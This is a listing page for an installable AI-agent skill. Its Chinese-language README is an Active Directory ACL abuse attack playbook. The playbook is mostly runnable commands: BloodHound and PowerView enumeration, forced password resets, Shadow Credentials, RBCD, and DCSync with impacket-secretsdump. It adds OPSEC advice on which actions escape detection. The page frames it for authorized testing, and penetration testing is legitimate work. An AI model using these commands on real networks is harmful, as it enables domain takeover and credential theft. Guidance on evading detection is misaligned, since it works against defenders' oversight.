mcpField
A
ad-acl-abuse

ad-acl-abuse

github.com/wgpsecSecurity1.8k45 installsUpdated 4d ago
Repository

About ad-acl-abuse

An Active Directory ACL abuse guide for security testers, covering risky permission discovery, exploitation paths, and operational detection risks.

Key features

  1. 01Enumerate dangerous ACEs and ACL paths
  2. 02Choose actions based on permissions
  3. 03Cover password resets and Shadow Credentials
  4. 04Detail RBCD and ownership operations
  5. 05Identify detection risks of high-impact actions

Use cases

  1. 01Audit Active Directory permissions
  2. 02Validate ACL privilege paths in authorized tests
  3. 03Assess detection risks of exploitation actions

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/wgpsec/aboutsecurity --skill ad-acl-abuse

After installing, type/ad-acl-abusein Claude Code to confirm it loaded.

Bundled filesreferences/ace-abuse-chains.mdreferences/shadow-creds-rbcd.md

Details

From the project README

AD ACL 滥用攻击方法论

核心价值:利用 AD 对象上的错误权限配置实现提权,无需漏洞利用

⛔ 深入参考


Phase 1: 危险 ACE 枚举

1.1 BloodHound 路径发现(首选)
# 数据收集
bloodhound-python -d DOMAIN -u user -p pass -dc DC_IP -c all

# BloodHound 中查询危险路径:
# - Shortest Path to Domain Admins
# - Find Principals with DCSync Rights
# - Find Dangerous Rights (ACL)
1.2 手动枚举(无 BloodHound 时)
# 使用 dacledit.py(impacket)
dacledit.py -dc-ip DC_IP DOMAIN/user:pass -target 'Domain Admins' -action read

# 使用 PowerView (Windows)
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"}

# 使用 netexec
netexec ldap DC_IP -u user -p pass --dacl "CN=Domain Admins"
1.3 关键危险权限速查
权限掩码可做什么
GenericAll0x10000000完全控制(改密码/修改属性/加入组)
GenericWrite0x40000000写任意属性(SPN/脚本路径/msDS-KeyCredential)
WriteDACL0x00040000修改权限(给自己加 GenericAll)
WriteOwner0x00080000更改所有者(然后给自己加权限)
ForceChangePasswordExtendedRight强制重置密码(无需知道原密码)
Self (Member)0x00000008将自己加入组
AllExtendedRights0x00000100DCSync / ForceChangePassword

Phase 2: 滥用决策树

发现什么权限?在什么对象上?
│
├─ GenericAll on User
│   ├─ 重置密码 → net rpc password -U user%pass -S DC_IP target_user 'NewP@ss'
│   ├─ Targeted Kerberoasting → 设置 SPN → 请求票据 → 破解
│   ├─ Shadow Credentials → 设置 msDS-KeyCredentialLink → 获取 TGT
│   └─ 修改 scriptPath → 下次登录执行恶意脚本
│
├─ GenericAll on Group
│   └─ 将自己加入组
│       net rpc group addmem "Domain Admins" user -U user%pass -S DC_IP
│
├─ GenericAll on Computer
│   ├─ RBCD → 设置 msDS-AllowedToActOnBehalfOfOtherIdentity
│   └─ Shadow Credentials → 设置 msDS-KeyCredentialLink
│
├─ WriteDACL on Object
│   └─ 先给自己加 GenericAll → 然后按上面操作
│       dacledit.py ... -target obj -action write -rights GenericAll -principal self
│
├─ WriteOwner on Object
│   └─ 先把自己设为 Owner → 然后 WriteDACL → GenericAll
│       owneredit.py ... -target obj -new-owner self
│
├─ GenericWrite on User
│   ├─ Targeted Kerberoasting → 设置 SPN
│   ├─ Shadow Credentials → 设置 Key Credential
│   └─ 修改 logon script
│
├─ ForceChangePassword on User
│   └─ 直接重置目标密码(⛔ 会锁定原用户)
│
└─ AllExtendedRights on Domain
    └─ DCSync → impacket-secretsdump DOMAIN/user:pass@DC_IP

Phase 3: 常见利用命令

3.1 GenericAll → 重置密码
# impacket
net rpc password target_user 'N3wP@ss!' -U 'DOMAIN/user%pass' -S DC_IP

# rpcclient
rpcclient -U "user%pass" DC_IP -c "setuserinfo2 target_user 23 N3wP@ss!"

# PowerView
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'N3wP@ss!' -AsPlainText -Force)
3.2 GenericAll/GenericWrite → Shadow Credentials
# pywhisker — 添加 Key Credential
python3 pywhisker.py -d DOMAIN -u user -p pass --dc-ip DC_IP \
  -t target_user -a add

# 输出的 pfx 文件 → 使用 PKINITtools 获取 TGT
python3 gettgtpkinit.py -cert-pfx output.pfx -pfx-pass PASS \
  DOMAIN/target_user target_user.ccache

# 使用 TGT
export KRB5CCNAME=target_user.ccache
impacket-secretsdump -k -no-pass DOMAIN/target_user@DC_IP
3.3 GenericAll on Computer → RBCD
# 步骤 1: 添加或使用已控机器账户
impacket-addcomputer DOMAIN/user:pass -computer-name FAKE$ -computer-pass FakeP@ss

# 步骤 2: 设置目标机器的 msDS-AllowedToActOnBehalfOfOtherIdentity
rbcd.py -dc-ip DC_IP -delegate-to TARGET$ -delegate-from FAKE$ DOMAIN/user:pass
# 或使用 impacket
impacket-rbcd DOMAIN/user:pass -dc-ip DC_IP -target TARGET$ -delegate-from FAKE$ -action write

# 步骤 3: S4U2Self + S4U2Proxy 获取服务票据
impacket-getST -spn cifs/TARGET.DOMAIN -impersonate Administrator \
  DOMAIN/FAKE$:FakeP@ss -dc-ip DC_IP

# 步骤 4: 使用票据
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.DOMAIN
3.4 WriteDACL → 先提权
# 给自己添加 GenericAll
dacledit.py -dc-ip DC_IP DOMAIN/user:pass \
  -target "CN=Target,DC=domain,DC=com" \
  -action write -rights GenericAll -principal user

# 然后按 GenericAll 的利用方式操作

# 清理:操作完后删除添加的 ACE
dacledit.py -dc-ip DC_IP DOMAIN/user:pass \
  -target "CN=Target,DC=domain,DC=com" \
  -action remove -rights GenericAll -principal user
3.5 WriteOwner → 接管所有权
# 修改对象所有者为自己
owneredit.py -dc-ip DC_IP DOMAIN/user:pass \
  -target "CN=Target,DC=domain,DC=com" \
  -new-owner user

# 所有者可以修改 DACL → 然后 WriteDACL → GenericAll

Phase 4: OPSEC 注意事项

⛔ 高检测风险操作:
├─ 重置密码 → 用户报告无法登录 → 立即暴露
├─ 修改 Domain Admins 组成员 → 高优先级告警
├─ 修改 AdminSDHolder → 被 SDProp 还原 + 告警
└─ 大量 ACL 查询 → LDAP 审计日志

✓ 相对隐蔽操作:
├─ Shadow Credentials → 不改密码,不加组
├─ Targeted Kerberoasting → 只加 SPN,离线破解
├─ RBCD → 不直接修改敏感组
└─ 修改非特权用户 → 低告警

清理提醒:
├─ 删除添加的 SPN
├─ 删除添加的 Key Credential
├─ 删除 RBCD 委派配置
├─ 恢复修改的 ACE
└─ 删除创建的机器账户

工具速查

工具用途
BloodHoundACL 路径可视化发现
dacledit.py (impacket)DACL 读取与修改
owneredit.py修改对象所有者
pywhiskerShadow Credentials
rbcd.py / impacket-rbcdRBCD 配置
impacket-addcomputer添加机器账户
PKINITtools证书→TGT
PowerViewWindows 端 ACL 操作

Comments

Markdown supported